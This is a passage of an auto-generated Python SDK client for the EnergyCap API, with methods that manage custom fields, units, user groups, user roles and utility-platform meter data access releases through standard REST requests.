if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UDFResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_udf.metadata = {'url': '/api/v3/udf/{udfId}'}
def delete_udf(
self, udf_id, custom_headers=None, raw=False, **operation_config):
"""Deletes a user defined field / custom field. Currently NO confirmation
is required.
:param udf_id: The identifier for the user defined field / custom
field being deleted
:type udf_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_udf.metadata['url']
path_format_arguments = {
'udfId': self._serialize.url("udf_id", udf_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_udf.metadata = {'url': '/api/v3/udf/{udfId}'}
def edit_custom_fields(
self, udf_type, body=None, custom_headers=None, raw=False, **operation_config):
"""Edits a list of user defined fields / custom fields.
:param udf_type: Valid udfTypes include "Account", "Vendor", "Place",
"Meter, "ChannelVersion", "Rate", and "Bill"
:type udf_type: str
:param body:
:type body: list[~energycap.sdk.models.UDFUpdate]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.UDFResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_custom_fields.metadata['url']
path_format_arguments = {
'udfType': self._serialize.url("udf_type", udf_type, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[UDFUpdate]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[UDFResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_custom_fields.metadata = {'url': '/api/v3/udf/list/{udfType}'}
def get_units(
self, filter=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves all units.
:param filter:
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.Unit] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_units.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[Unit]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_units.metadata = {'url': '/api/v3/unit'}
def update_use_rollup_units(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Update common and global use units.
:param body:
:type body: ~energycap.sdk.models.RollupUnitUpdate
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: TaskResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.TaskResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.update_use_rollup_units.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'RollupUnitUpdate')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('TaskResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
update_use_rollup_units.metadata = {'url': '/api/v3/unit/rollup'}
def get_user_groups(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Gets a list of user groups.
:param filter:
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.UserGroupResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_user_groups.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[UserGroupResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_user_groups.metadata = {'url': '/api/v3/userGroup'}
def create_user_group(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Create a user group.
:param body: Data representing the user group being created
:type body: ~energycap.sdk.models.UserGroupRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UserGroupResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UserGroupResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_user_group.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'UserGroupRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UserGroupResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_user_group.metadata = {'url': '/api/v3/userGroup'}
def get_user_group(
self, user_group_id, custom_headers=None, raw=False, **operation_config):
"""Gets a user group.
:param user_group_id: Id of the user group to return
:type user_group_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UserGroupResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UserGroupResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_user_group.metadata['url']
path_format_arguments = {
'userGroupId': self._serialize.url("user_group_id", user_group_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UserGroupResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_user_group.metadata = {'url': '/api/v3/userGroup/{userGroupId}'}
def edit_user_group(
self, user_group_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit a user group.
:param user_group_id: Id of the user group to edit
:type user_group_id: int
:param body: Data representing the user group being edited
:type body: ~energycap.sdk.models.UserGroupRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UserGroupResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UserGroupResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_user_group.metadata['url']
path_format_arguments = {
'userGroupId': self._serialize.url("user_group_id", user_group_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'UserGroupRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UserGroupResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_user_group.metadata = {'url': '/api/v3/userGroup/{userGroupId}'}
def delete_user_group(
self, user_group_id, custom_headers=None, raw=False, **operation_config):
"""Delete a user group.
:param user_group_id: Id of the user group to delete
:type user_group_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_user_group.metadata['url']
path_format_arguments = {
'userGroupId': self._serialize.url("user_group_id", user_group_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_user_group.metadata = {'url': '/api/v3/userGroup/{userGroupId}'}
def get_user_group_members(
self, user_group_id, custom_headers=None, raw=False, **operation_config):
"""Gets a list of user group members.
:param user_group_id: Id of the user group to get the list of members
:type user_group_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.UserChild] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_user_group_members.metadata['url']
path_format_arguments = {
'userGroupId': self._serialize.url("user_group_id", user_group_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[UserChild]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_user_group_members.metadata = {'url': '/api/v3/userGroup/{userGroupId}/member'}
def get_user_roles(
self, custom_headers=None, raw=False, **operation_config):
"""Gets user roles and their permissions
You need Roles.Manage or UsersAndUserGroups.View for this API.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.SystemUserRoleResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_user_roles.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[SystemUserRoleResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_user_roles.metadata = {'url': '/api/v3/userrole'}
def get_user_role(
self, user_role_id, custom_headers=None, raw=False, **operation_config):
"""Gets a specific user role and its permissions
You need Roles.Manage or UsersAndUserGroups.View for this API.
:param user_role_id: The userRoleId to get
:type user_role_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SystemUserRoleResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.SystemUserRoleResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_user_role.metadata['url']
path_format_arguments = {
'userRoleId': self._serialize.url("user_role_id", user_role_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SystemUserRoleResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_user_role.metadata = {'url': '/api/v3/userrole/{userRoleId}'}
def delete_user_role(
self, user_role_id, custom_headers=None, raw=False, **operation_config):
"""Deletes a user role.
:param user_role_id: The identifier for the role being deleted
:type user_role_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_user_role.metadata['url']
path_format_arguments = {
'userRoleId': self._serialize.url("user_role_id", user_role_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_user_role.metadata = {'url': '/api/v3/userrole/{userRoleId}'}
def create_user_role(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""
:param body:
:type body: ~energycap.sdk.models.SystemUserRoleWithHiddenRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SystemUserRoleResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.SystemUserRoleResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_user_role.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'SystemUserRoleWithHiddenRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SystemUserRoleResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_user_role.metadata = {'url': '/api/v202206/userrole'}
def edit_user_role(
self, user_role_id, body=None, custom_headers=None, raw=False, **operation_config):
"""
:param user_role_id:
:type user_role_id: int
:param body:
:type body: ~energycap.sdk.models.SystemUserRoleWithHiddenRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SystemUserRoleResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.SystemUserRoleResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_user_role.metadata['url']
path_format_arguments = {
'userRoleId': self._serialize.url("user_role_id", user_role_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'SystemUserRoleWithHiddenRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SystemUserRoleResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_user_role.metadata = {'url': '/api/v202206/userrole/{userRoleId}'}
def set_user_role_hidden(
self, user_role_id, body=None, custom_headers=None, raw=False, **operation_config):
"""
:param user_role_id:
:type user_role_id: int
:param body:
:type body: ~energycap.sdk.models.HiddenRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SystemUserRoleResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.SystemUserRoleResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.set_user_role_hidden.metadata['url']
path_format_arguments = {
'userRoleId': self._serialize.url("user_role_id", user_role_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'HiddenRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SystemUserRoleResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
set_user_role_hidden.metadata = {'url': '/api/v202206/userrole/{userRoleId}/hidden'}
def get_utility_platform_meters_by_place(
self, place_id, custom_headers=None, raw=False, **operation_config):
"""Get meters on a particular place.
:param place_id: The id of the place
:type place_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.UtilityPlatformMeter] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_utility_platform_meters_by_place.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[UtilityPlatformMeter]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_utility_platform_meters_by_place.metadata = {'url': '/api/v202203/utilityPlatform/place/{placeId}/meter'}
def create_utility_platform_meters_by_place(
self, place_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Create meters on a particular place.
:param place_id: The id of the place
:type place_id: int
:param body: The meters to create on the place
:type body: list[~energycap.sdk.models.CreateUtilityPlatformMeter]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.UtilityPlatformMeter] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_utility_platform_meters_by_place.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[CreateUtilityPlatformMeter]')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[UtilityPlatformMeter]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_utility_platform_meters_by_place.metadata = {'url': '/api/v202203/utilityPlatform/place/{placeId}/meter'}
def get_data_access_release_state(
self, meter_id, custom_headers=None, raw=False, **operation_config):
"""Get the status of a meter's data access release.
:param meter_id: The meter to get release state for
:type meter_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: DataAccessReleaseState or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.DataAccessReleaseState or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_data_access_release_state.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('DataAccessReleaseState', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_data_access_release_state.metadata = {'url': '/api/v202203/utilityPlatform/meter/{meterId}/dataAccessReleaseState'}
def send_data_access_release_request_email(
self, meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Email a data access release request.
:param meter_id: The meter that the release is for
:type meter_id: int
:param body: The release request details
:type body: ~energycap.sdk.models.SendDataAccessReleaseRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.send_data_access_release_request_email.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'SendDataAccessReleaseRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
send_data_access_release_request_email.metadata = {'url': '/api/v202203/utilityPlatform/meter/{meterId}/sendDataAccessReleaseRequest'}
def assign_data_access_release(
self, meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Apply a release to a meter.
:param meter_id: The id of the meter
:type meter_id: int
:param body:
:type body: ~energycap.sdk.models.DataAccessReleaseRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: DataAccessReleaseState or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.DataAccessReleaseState or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.assign_data_access_release.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'DataAccessReleaseRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('DataAccessReleaseState', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
assign_data_access_release.metadata = {'url': '/api/v202203/utilityPlatform/meter/{meterId}/release'}
def release_account_and_all_meter_to_abuilding(
self, place_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Release all account and meters to a specific place.
:param place_id: The id of the place for the released meters
:type place_id: int
:param body:
:type body: ~energycap.sdk.models.DataAccessReleaseNoFileRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.release_account_and_all_meter_to_abuilding.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'DataAccessReleaseNoFileRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
